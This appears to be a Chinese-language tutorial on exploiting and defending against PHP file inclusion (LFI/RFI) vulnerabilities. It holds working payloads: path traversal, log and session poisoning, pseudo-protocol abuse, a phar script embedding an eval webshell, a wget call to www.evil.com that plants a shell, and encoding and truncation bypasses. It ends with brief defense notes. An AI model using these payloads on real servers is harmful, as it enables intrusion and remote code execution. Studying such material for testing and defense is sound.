文件包含漏洞利用与防御

代码注入的典型代码就是文件包含(File Inclusion),在PHP中,用于文件包含的函数有4个:

  • 1.require
  • require_once
  • include
  • include_once

includerequire区别主要是:

include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。*_once()表示如果一个文件包含过了则不再包含,以防止变量重定义等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析

利用场景:

  • 具有相关的文件包含函数
  • 文件包含函数中存在动态变量,比如 include $file;
  • 攻击者能够控制该变量,比如$file = $_GET['file'];

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  • allow_url_fopen = On
  • allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_includephp5.2之后就默认为Off

文件包含利用

包含文件上传

1
2
$file = $_GET['page'];
include $file;

我们可以先利用上传漏洞,上传我们要包含的文件在利用包含漏洞执行代码,然后利用包含漏洞指向其文件路径。

包含本地文件

1
view.php?file=../../../../../etc/passwd

包含木马图片

1
view.php?file=a.jpg

a.jpg为我们上传的图片木马

包含session

session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看到。

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

包含日志

需要知道服务器日志的存储路径,且日志文件可读。

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/

思路是去请求一个构造的异常URL,由于会记录日志,在包含日志的时候从而发挥作用。

比如我们去请求target.com/<?php phpinfo();?>这个地址,将会在access.log中添加一条记录:

1
[10/01/2018:12:23:45 +0800] GET /<?php phpinfo();?> HTTP/1.1 ......

SSH log

原理同包含日志,利用的是用SSH登陆时会在/var/log/auth.log中记录是否成功:

1
ssh '<?php phpinfo(); ?>'@remotehost

包含临时文件

文章来源于这里

flow

web上传文件,会创建临时文件。在linux下使用/tmp目录(或自定义),而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

包含其他服务文件

利用其它服务,ftp服务,数据库等,在运行过程中都会产生一些文件。

利用php伪协议

利用php伪协议,可以去读取一些内容:

  • php://input
  • php://filter
  • phar://
  • zip://
  • data:URI schema
  • ftp
php://input

需要allow_url_include开启,比较难见。

1
2
3
4
target.com/1.php?page=php://input
post data:
<?php phpinfo(); ?>

直接将POST中的内容作为脚本运行,危害极大。

php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流,在XXE攻击与防御中提到的一个伪协议

常见用法是利用其将内容编解码以绕过某些保护

1
2
php://filter/convert.base64-encode/resource=index.php
读取内容并base64加密
phar://

phar是一个文件归档的包,类似于Java中的Jar文件,方便了PHP模块的迁移。php中默认安装了这个模块。

在创建phar文件的时候要注意phar.readonly这个参数要为off,否则phar文件不可写。

1
2
3
4
5
6
<?php
$p = new phar("shell.phar", 0 , "shell.phar");
$p->startBuffering();
$p['shell.php'] = '<?php phpinfo(); @eval($_POST[x])?>';
$p->setStub("<?php Phar::mapPhar('shell.phar'); __HALT_COMPILER?>");
?>

运行以上代码后会在当前目录下生成一个名为shell.phar的文件,这个文件可以被includefile_get_contents等函数利用

1
include 'phar://shell.phar/shell.php';

即可被利用

有了phar文件,我们就能有一些思路了,比如上传的文件名遭到了限制,我们无法上传php的文件,但是却只能包含php文件的时候(包含文件后缀名被限制include '$file'.'.php'),我们就可以通过上传phar文件,再利用php伪协议来包含。

zip://

构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

1
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
data:URI schema

我们可以将攻击代码转换为data:URL形式进行攻击,但是直接在URL连接中出现一些敏感字符,会导致被waf检测,所以我们需要给攻击代码进行base64编码。

1
2
3
index.php?file=data:text/plain,<?php system('whoami');?>
http://localhost/test/phar%20LFI/postinput.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

/proc/self/environ

如果可以包含/proc/self/environ,且返回类似下面的内容:

/proc/self/environ

这种情况下我们会发现其中记录了UA,所以可以构造包含:

1
2
3
GET view.php?file=../../../../../proc/self/environ
user-agent:<?system('wget http://www.evil.com/Shells/evil.txt -O shell.php’);?>

来下载webshell到web目录下

利用技巧

上面的利用方式都是假设后台不对输入进行过滤或检测的情况,下面介绍一些绕过检测的技巧:

目录遍历

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

对于这种指定前缀的情况可以使用../../../xx/xxx/xxx的方式进行目录遍历

编码绕过

所有注入都存在使用编码绕过的情况:

可以利用url编码

1
2
3
4
5
6
7
8
9
../
------
%2e%2e%2f
%2e%2e/
..\
-----
%2e%2e\
%2e%2e%5c

二次编码:

1
2
%252e%252e%252f
%252e%252e%255c

服务器/容器的编码方式:

1
2
3
4
5
6
../
==>
%c0%ae%c0%ae%c0%af
..\
%c0%ae%c0%ae%c1%9c

下面我们来分析下为什么这样可以。

我们看到每一个字符被编码成了2个字节,以/为例,编码成了%C0 %AF,将其写成2进制1100 0000 1010 1111 是不是很熟悉?没错,是UTF-8编码。关于编码相关内容,可以看这里

2字节的UTF-8编码格式应该是110x xxxx 10xx xxxx

我们将%C0 %AFxx位抽取出来看其Unicode值:0 0000 10 1111 = 0x2F = 47 = /

但是又有个问题,47<128的, 按UTF-8 标准, ASCII范围(0-127)的Unicode值应该是用1字节去表示,但我们发现,2个字节的UTF-8通过构造也可以表示同样的内容,很正常的推测,是否统一个Unicode码值可以有多个UTF-8编码表示?(例如0-127的字符可以用1字节、2字节、3字节表示,只需要补0就可)

这就是问题所在: UTF-8 标准规定是不允许重复的(即两字节的UTF-8表示Unicode码值是U+0080-U+07FF) 如果不在这范围会报错, 但实际的库函数实现却不一定遵照标准,有时为了效率,不去检验所属范围,造成这个问题

指定后缀

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
# 利用URL结构

考虑指定后缀的情况,这时候就要去思考URL的格式了:

1
2
3
协议类型:[//[访问资源需要的凭证信息@]服务器地址[:端口号]][/资源层级UNIX文件路径]文件名[?查询][#片段ID]
例如http:
http(s)://username:passwd@www.baidu.com:80/test/test.php?id=1#level-1

那么可以让我们利用的就是?后面的查询和#后面的fragment

除此之外,利用协议,比如phar、zip

还有一个技巧,不过需要在低版本的php下才能完成。

# 长度截断

php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./即可

1
index.php?file=././././。。。省略。。。././shell.txt
#0字节截断

php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

%00 截断 PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。 截断后面的拼接

防御

  • 做好文件的权限管理,禁止访问web目录之外的内容
  • 关闭远程文件包含
  • 避免由外界指定文件名与路径名
  • 过滤危险字符 . /等

常见工具